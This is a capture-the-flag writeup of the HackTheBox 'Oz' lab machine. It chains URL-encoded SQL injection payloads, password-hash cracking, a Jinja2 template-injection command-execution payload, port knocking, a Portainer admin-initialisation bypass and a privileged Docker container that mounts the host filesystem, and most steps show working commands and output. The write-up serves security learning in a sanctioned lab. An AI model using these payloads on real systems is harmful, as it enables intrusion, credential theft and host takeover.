HTB: Oz Writeup

Oz - HackTheBox Writeup

Machine Information

AttributeDetails
NameOz
OSLinux
DifficultyHard
Points40
Release Date28 Apr 2018
IP Address10.129.245.55
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Oz is a hard-difficulty Linux machine that demonstrates a multi-stage exploitation chain involving web application vulnerabilities, container escape techniques, and Docker management tool abuse. The attack path begins with SQL injection on a custom web API to extract database credentials and file system contents, including an encrypted SSH private key. After cracking password hashes, access to a secondary web portal reveals a Server-Side Template Injection (SSTI) vulnerability in Jinja2, leading to remote code execution within a Docker container. The container provides access to a port-knocking configuration that opens SSH, enabling lateral movement to the host system as the user dorthi. Final privilege escalation exploits Portainer 1.11.1’s authentication bypass vulnerability and Docker permissions to create a privileged container with host filesystem access, achieving root-level control.

TL;DR: SQL injection on port 80 → extract encrypted SSH key + PBKDF2-SHA256 hashes → crack wizard.oz:wizardofoz22 → SSTI RCE in GBR Support portal (port 8080) → extract port-knock sequence + dorthi credentials → SSH access after UDP port knocking → sudo docker network commands reveal Portainer @ 172.17.0.2:9000 → Portainer 1.11.1 auth bypass (CVE-2018-19466 style) → create privileged container with host mount → root flag.


Reconnaissance

Port Scanning

Terminal window
# Full port scan to identify all open services
nmap -p- --min-rate=2000 -T4 10.129.245.55

Results:

80/tcp open http
8080/tcp open http-proxy

Service Enumeration

Terminal window
# Detailed service and version detection on identified ports
nmap -p80,8080 -sC -sV 10.129.245.55

Key Services:

  • Port 80/tcp: Werkzeug httpd (Python 2.7.18) - “OZ webapi”
  • Port 8080/tcp: Werkzeug httpd (Python 2.7.18) - “GBR Support - Login”

Werkzeug is a WSGI utility library for Python, commonly used with Flask applications. The presence of two separate Werkzeug instances suggests a multi-component application architecture, likely utilizing Flask’s template engine (Jinja2).

Web Application Enumeration

Port 80 - OZ webapi:

Terminal window
# Initial probing of the web API
curl -s http://10.129.245.55/
# Returns: "Please register a username!"
curl -s http://10.129.245.55/users
# Returns: same registration message
curl -s http://10.129.245.55/users/admin
# Returns: {"username":"admin"}
curl -s http://10.129.245.55/users/dorthi
# Returns: {"username":"dorthi"}

The /users/<username> endpoint returns JSON responses confirming valid usernames, suggesting a backend database query is executed based on the URL parameter.

Port 8080 - GBR Support Portal:

The login page requests username and password credentials. Standard default credentials (admin:admin, admin:password) fail to authenticate.

Vulnerability Assessment

  1. SQL Injection: The /users/<username> endpoint on port 80 appears to accept arbitrary input without proper sanitization, potentially allowing SQL injection attacks.
  2. SSTI Potential: Flask/Jinja2 applications commonly suffer from Server-Side Template Injection if user input is improperly handled in template rendering.
  3. Werkzeug Debug Mode: If enabled, could provide direct code execution (tested negative in this case).

Initial Foothold

SQL Injection - Port 80 OZ webapi

Confirming the Vulnerability

Terminal window
# Test basic SQL injection with OR condition
# NOTE: Spaces must be URL-encoded as %20 for successful exploitation
curl -s --path-as-is "http://10.129.245.55/users/'%20OR%20'1'='1"
# Returns: {"username":"dorthi"}

The ' OR '1'='1 payload successfully bypasses the intended query logic and returns a valid user, confirming the presence of SQL injection. The vulnerability likely exists in a query similar to:

SELECT username FROM users WHERE username='<user_input>'

Database Enumeration

Terminal window
# Extract database version (MariaDB)
curl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20@@version--%20-"
# Returns: {"username":"5.5.64-MariaDB-1~trusty"}
# Extract current database name
curl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20database()--%20-"
# Returns: {"username":"ozdb"}

Why this works: UNION-based SQL injection allows us to append our own SELECT statement to the original query. The -- sequence comments out the remainder of the original SQL, and the trailing - ensures proper syntax. URL encoding is critical because the Flask route parser treats unencoded spaces as path delimiters.

File System Access via SQL

MariaDB’s load_file() function can read arbitrary files if the database user has FILE privileges:

Terminal window
# Generate hex-encoded path to avoid quote escaping issues
printf "/home/dorthi/.ssh/id_rsa" | xxd -ps -c 200 | tr -d '\n'
# Outputs: 2f686f6d652f646f727468692f2e7373682f69645f727361
# Read SSH private key using hex-encoded path
curl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20load_file(0x2f686f6d652f646f727468692f2e7373682f69645f727361)--%20-"

Result: An encrypted RSA private key is returned:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6
RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC
b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F
[...TRUNCATED...]

The key is encrypted with AES-128-CBC and requires a passphrase, making it unusable without further credential discovery.

Database Table Enumeration

Terminal window
# Enumerate tables in the current database
for i in 0 1 2 3; do
curl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20table_name%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=database()%20LIMIT%20$i,1--%20-"
done
# Returns: tickets_gbw, users_gbw

Two custom tables exist: tickets_gbw and users_gbw. The users_gbw table likely contains authentication credentials.

Extracting Password Hashes

Terminal window
# Extract username:password pairs from users_gbw table
for id in 1 2 3 4 5 6; do
curl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20CONCAT(username,0x3a,password)%20FROM%20users_gbw%20WHERE%20id='$id'--%20-"
done

Extracted hashes:

dorthi:$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78
tin.man:$pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk
wizard.oz:$pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY
coward.lyon:$pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY
toto:$pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg
admin:$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ

Hash Cracking - PBKDF2-SHA256

PBKDF2-SHA256 is a key derivation function designed to be computationally expensive, making brute-force attacks time-consuming. John the Ripper supports this format:

Terminal window
# Save hashes to file
cat > oz_hashes.txt <<EOF
dorthi:$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78
tin.man:$pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk
wizard.oz:$pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY
coward.lyon:$pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY
toto:$pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg
admin:$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ
EOF
# Crack with john using rockyou.txt wordlist
john oz_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --fork=4

Cracked credential: wizard.oz:wizardofoz22

GBR Support Portal - SSTI Exploitation

Authentication

Terminal window
# Login with cracked credentials
curl -i -c cookie.txt -b cookie.txt \
-d 'username=wizard.oz&password=wizardofoz22' \
http://10.129.245.55:8080/login
# Response includes JWT token in Set-Cookie header
# token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTc4NDY0Nzk2Nn0.7I6XEe9nrcUR6AGlDO_oUsf1dnoWsimRnV4xhn59wfo

After successful authentication, a JWT (JSON Web Token) is issued for session management. The portal presents a ticket creation form with name and desc fields.

SSTI Detection

Jinja2 template injection is tested by submitting mathematical expressions:

Terminal window
# Test basic template evaluation
curl -s -b cookie.txt -d 'name={{7*7}}&desc=hello' http://10.129.245.55:8080/
# Response contains: "Name: 49 desc: hello"
# Confirm Jinja2 with string multiplication
curl -s -b cookie.txt -d 'name={{7*"7"}}&desc=test' http://10.129.245.55:8080/
# Response contains: "Name: 7777777"

Why this works: The application is rendering user-supplied input through Jinja2’s template engine without proper sanitization. The {{7*7}} payload evaluates to 49, and {{7*"7"}} produces seven sevens (string repetition in Python), confirming Jinja2 is the underlying engine.

Information Disclosure via SSTI

Terminal window
# Leak Flask configuration object containing sensitive data
curl -s -b cookie.txt --data-urlencode 'name={{config}}' --data-urlencode 'desc=x' \
http://10.129.245.55:8080/ | grep -i 'Name:'

Result: The configuration object reveals database credentials:

'SQLALCHEMY_DATABASE_URI': 'mysql+pymysql://dorthi:N0Pl4c3L1keH0me@10.100.10.4/ozdb'

This leaks the credentials dorthi:N0Pl4c3L1keH0me, which will be critical for SSH authentication.

Remote Code Execution via SSTI

Jinja2’s object introspection capabilities allow access to Python’s built-in classes, including those capable of executing system commands:

Terminal window
# Execute 'id' command via cycler.__init__.__globals__.os.popen()
curl -s -b cookie.txt \
--data-urlencode 'name={{cycler.__init__.__globals__.os.popen("id").read()}}' \
--data-urlencode 'desc=x' \
http://10.129.245.55:8080/ | grep -i 'Name:'
# Returns: "Name: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon)..."

Why this works:

  1. cycler is a Jinja2 built-in object
  2. __init__.__globals__ accesses the global namespace of the cycler module
  3. os.popen() is available in that namespace and executes shell commands
  4. .read() returns the command output as a string

The RCE confirms we’re executing as root, but this is within a Docker container (verified by examining /proc/self/cgroup and presence of /.dockerenv).

Container Enumeration

To facilitate complex command execution over the multi-hop SSH setup, a helper script is created to encode commands in base64, execute them remotely, and decode the output:

Terminal window
# Helper script for RCE with base64-encoded command output
cat > /tmp/rce.sh <<'SH'
T=10.129.245.55; C="/dev/shm/oz.cookie"
CMD=$(printf '%s' "$1" | base64 -w0)
ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@<jump-host> \
"curl -s -m 30 -b $C \
--data-urlencode \"name={{cycler.__init__.__globals__.os.popen('echo $CMD | base64 -d | sh 2>&1').read().encode('base64')}}\" \
--data-urlencode 'desc=x' http://$T:8080/" \
> /tmp/rce_resp.html
perl -0777 -ne 'if(/Name:\s*(.*?)\s*desc:/s){print $1}' /tmp/rce_resp.html | tr -d ' \t\r\n' | base64 -d
echo
SH
chmod +x /tmp/rce.sh

Reading knockd configuration:

Terminal window
# Extract port-knocking sequence from container
/tmp/rce.sh 'cat /.secret/knockd.conf'

Output:

[options]
logfile = /var/log/knockd.log
[opencloseSSH]
sequence = 40809:udp,50212:udp,46969:udp
seq_timeout = 15
start_command = ufw allow from %IP% to any port 22
cmd_timeout = 10
stop_command = ufw delete allow from %IP% to any port 22
tcpflags = syn

This reveals that SSH (port 22) is protected by port knocking: three UDP packets must be sent in sequence (40809, 50212, 46969) to trigger a UFW firewall rule that temporarily allows SSH access.

SSH Access via Port Knocking

Preparing the SSH Key

The encrypted SSH private key requires the passphrase N0Pl4c3L1keH0me (leaked from the Flask config):

Terminal window
# Reconstruct id_rsa from SQL injection output
curl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20load_file(0x2f686f6d652f646f727468692f2e7373682f69645f727361)--%20-" \
| python3 -c "import json,sys; print(json.load(sys.stdin)['username'])" > id_rsa
chmod 600 id_rsa
# Remove the passphrase for automated login
ssh-keygen -p -P "N0Pl4c3L1keH0me" -N "" -f id_rsa

Why remove the passphrase: Automated scripts and sshuttle cannot interactively provide passphrases, so we decrypt the key locally using the known passphrase and save it without encryption.

Port Knocking and SSH Login

Terminal window
# Upload decrypted key to jump host
scp -o ControlPath=/tmp/ctf_ssh_ctl_1 -P 22 id_rsa d3vn0mi@<jump-host>:/dev/shm/id_rsa_dec
# Execute port knock sequence (3 UDP packets) then SSH
ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@<jump-host> '
for p in 40809 50212 46969; do
echo -n x | nc -u -w1 10.129.245.55 $p
done
sleep 1
ssh -i /dev/shm/id_rsa_dec -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 \
dorthi@10.129.245.55 "id; hostname; cat ~/user.txt"
'

Output:

uid=1000(dorthi) gid=1000(dorthi) groups=1000(dorthi)
oz
<redacted>

User flag captured: <redacted>


Privilege Escalation

Sudo Privileges - Docker Network Commands

Terminal window
# Check sudo permissions for user dorthi
sudo -l

Output:

User dorthi may run the following commands on oz:
(ALL) NOPASSWD: /usr/bin/docker network inspect *
(ALL) NOPASSWD: /usr/bin/docker network ls

Dorthi can run specific Docker network commands as root without a password. While these commands appear benign (read-only network inspection), they can leak information about other containers and services on the host.

Docker Network Enumeration

# Create helper script for knocked SSH sessions
cat > /tmp/kssh.sh <<'SH'
#!/bin/bash
# base64-encode command to survive double-hop SSH quoting
CMD=$(printf '%s' "$1" | base64 -w0)
ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@<jump-host> "
for p in 40809 50212 46969; do echo -n x | nc -u -w1 10.129.245.55 \$p; done
sleep 1
timeout 30 ssh -i /dev/shm/id_rsa_dec -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 \
dorthi@10.129.245.55 \"echo $CMD | base64 -d | bash\" 2>&1 \
| grep -vE 'WARNING|quantum|openssh.com/pq|Permanently added'
"
SH
chmod +x /tmp/kssh.sh
# Inspect Docker bridge network
/tmp/kssh.sh 'sudo /usr/bin/docker network inspect bridge'

Key finding from bridge network:

"Containers": {
"e403039d8721aca598927bfff1aab81be33b776209c92484535e45dd794810e0": {
"Name": "portainer-1.11.1",
"EndpointID": "519687b98bacf065165084b0ef4b7d8a1d71739a702a173899c4a3c39a8bcf3d",
"MacAddress": "02:42:ac:11:00:02",
"IPv4Address": "172.17.0.2/16",
"IPv6Address": ""
}
}

A Portainer container (version 1.11.1) is running at 172.17.0.2:9000. Portainer is a web-based Docker management UI that provides full control over containers, images, volumes, and networks.

Inspecting prodnet network:

Terminal window
/tmp/kssh.sh 'sudo /usr/bin/docker network inspect prodnet'

Result reveals multiple application containers:

  • tix-app at 10.100.10.2 (the container we had RCE in)
  • ozdb at 10.100.10.4 (MariaDB database)
  • webapi at 10.100.10.6 (port 80 API service)

Portainer Authentication Bypass (CVE-2018-19466 style)

Portainer 1.11.1 has a well-known authentication bypass: if the admin password has not been initialized, any user can set it via the API endpoint /api/users/admin/init. This endpoint accepts a POST request with a new password in JSON format.

Important discovery: Portainer is accessible DIRECTLY from the host (not just via Docker networking) because dorthi’s SSH session is on the host machine itself, which can reach 172.17.0.2:9000 without any tunneling.

Terminal window
# Test Portainer availability
/tmp/kssh.sh 'curl -s -m 10 http://172.17.0.2:9000/api/status'
# Returns: 404 page not found (endpoint may not exist in 1.11.1)
# Initialize admin password (authentication bypass)
/tmp/kssh.sh 'curl -s -m 10 -w "\nHTTP:%{http_code}\n" \
-H "Content-Type: application/json" \
http://172.17.0.2:9000/api/users/admin/init \
-d "{\"password\":\"Pwn3dP0rt41n3r99\"}"'
# Returns: HTTP:200 (success)

Why this works: Portainer 1.11.1 does not verify whether an admin has already been initialized before allowing password setting via the API. This is a design flaw that allows anyone with network access to claim the admin account.

Authentication and JWT Token

Terminal window
# Authenticate with the newly set password
/tmp/kssh.sh 'curl -s -m 10 -H "Content-Type: application/json" \
http://172.17.0.2:9000/api/auth \
-d "{\"Username\":\"admin\",\"Password\":\"Pwn3dP0rt41n3r99\"}"'

Response:

{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzg0Njc1MTk0fQ.q3cuK-cE2FDZyVvv3ivQERrIjHLg61ugJLgGBpNoRdM"}

The JWT token is now used to authenticate all subsequent Portainer API requests via the Authorization: Bearer <token> header.

Portainer Endpoint Configuration

In Portainer 1.11.1, the Docker API proxy requires an “active endpoint” to be configured before it will forward requests to the Docker daemon.

Terminal window
# Create Docker endpoint pointing to local socket
/tmp/kssh.sh 'J=$(curl -s -m10 -H "Content-Type: application/json" \
http://172.17.0.2:9000/api/auth \
-d "{\"Username\":\"admin\",\"Password\":\"Pwn3dP0rt41n3r99\"}" \
| sed -E "s/.*jwt\":\"([^\"]+)\".*/\1/")
curl -s -m 10 -w "\nHTTP:%{http_code}\n" \
-H "Authorization: Bearer $J" \
-H "Content-Type: application/json" \
http://172.17.0.2:9000/api/endpoints \
-d "{\"Name\":\"local\",\"URL\":\"unix:///var/run/docker.sock\",\"TLS\":false,\"PublicURL\":\"\"}"'

Response:

{"Id":1}
HTTP:200

Critical step - Activate the endpoint:

Terminal window
# Activate endpoint 1 to enable Docker API proxy
/tmp/kssh.sh 'J=$(curl -s -m10 -H "Content-Type: application/json" \
http://172.17.0.2:9000/api/auth \
-d "{\"Username\":\"admin\",\"Password\":\"Pwn3dP0rt41n3r99\"}" \
| sed -E "s/.*jwt\":\"([^\"]+)\".*/\1/")
curl -s -m8 -X POST -H "Authorization: Bearer $J" \
http://172.17.0.2:9000/api/endpoints/1/active'
# Returns: HTTP:200
# Now the global Docker API proxy is accessible
curl -s -m10 -H "Authorization: Bearer $J" \
http://172.17.0.2:9000/api/docker/version | head -c 200

Why this matters: Portainer 1.11.1’s Docker proxy is exposed at /api/docker/* (global path, NOT /api/endpoints/1/docker/*), but it requires an active endpoint to be set first. After the POST to /api/endpoints/1/active, all subsequent /api/docker/ requests are proxied to the Docker daemon.

Privilege Escalation via Privileged Container

With full access to the Docker API through Portainer, we can create a privileged container that mounts the host’s root filesystem:

# Create privileged container mounting host / to /host inside container
cat > /tmp/pwn_remote.sh <<'SCRIPT'
#!/bin/bash
P=172.17.0.2:9000
J=$(curl -s -m10 -H "Content-Type: application/json" \
http://$P/api/auth \
-d '{"Username":"admin","Password":"Pwn3dP0rt41n3r99"}' \
| sed -E 's/.*jwt":"([^"]+)".*/\1/')
# Activate endpoint
curl -s -m8 -X POST -H "Authorization: Bearer $J" \
http://$P/api/endpoints/1/active >/dev/null
AUTH="Authorization: Bearer $J"
# Create privileged container with host filesystem mount
CREATE='{
"Image":"python:2.7-alpine",
"Cmd":["/bin/sh","-c","cat /host/root/root.txt > /host/tmp/rootflag.txt 2>&1; id > /host/tmp/whoami_pwn.txt"],
"HostConfig":{
"Binds":["/:/host"],
"Privileged":true
}
}'
CID=$(curl -s -m10 -H "$AUTH" -H "Content-Type: application/json" \
"http://$P/api/docker/containers/create?name=pwnbox" \
-d "$CREATE" | sed -E 's/.*"Id":"([^"]+)".*/\1/')
echo "CID=$CID"
# Start the container
curl -s -m10 -X POST -H "$AUTH" \
"http://$P/api/docker/containers/$CID/start" \
-w "start:[%{http_code}]\n"
sleep 3
# Read output from host filesystem
cat /tmp/rootflag.txt 2>/dev/null
echo "=== whoami_pwn ==="
cat /tmp/whoami_pwn.txt 2>/dev/null
SCRIPT
# Execute remotely via knocked SSH
B64=$(base64 -w0 /tmp/pwn_remote.sh)
/tmp/kssh.sh "echo $B64 | base64 -d > /tmp/pwn.sh; bash /tmp/pwn.sh"

Output:

CID=df699bebbbcd2c46c8759556da86d8ef13d8647f63eb885064670a0c8bcfa165
start:[200]
=== flag from host /tmp ===
<redacted>
=== whoami_pwn ===
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Root flag captured: <redacted>

Why this works:

  1. Privileged mode ("Privileged":true) disables most security restrictions, giving the container near-complete access to the host kernel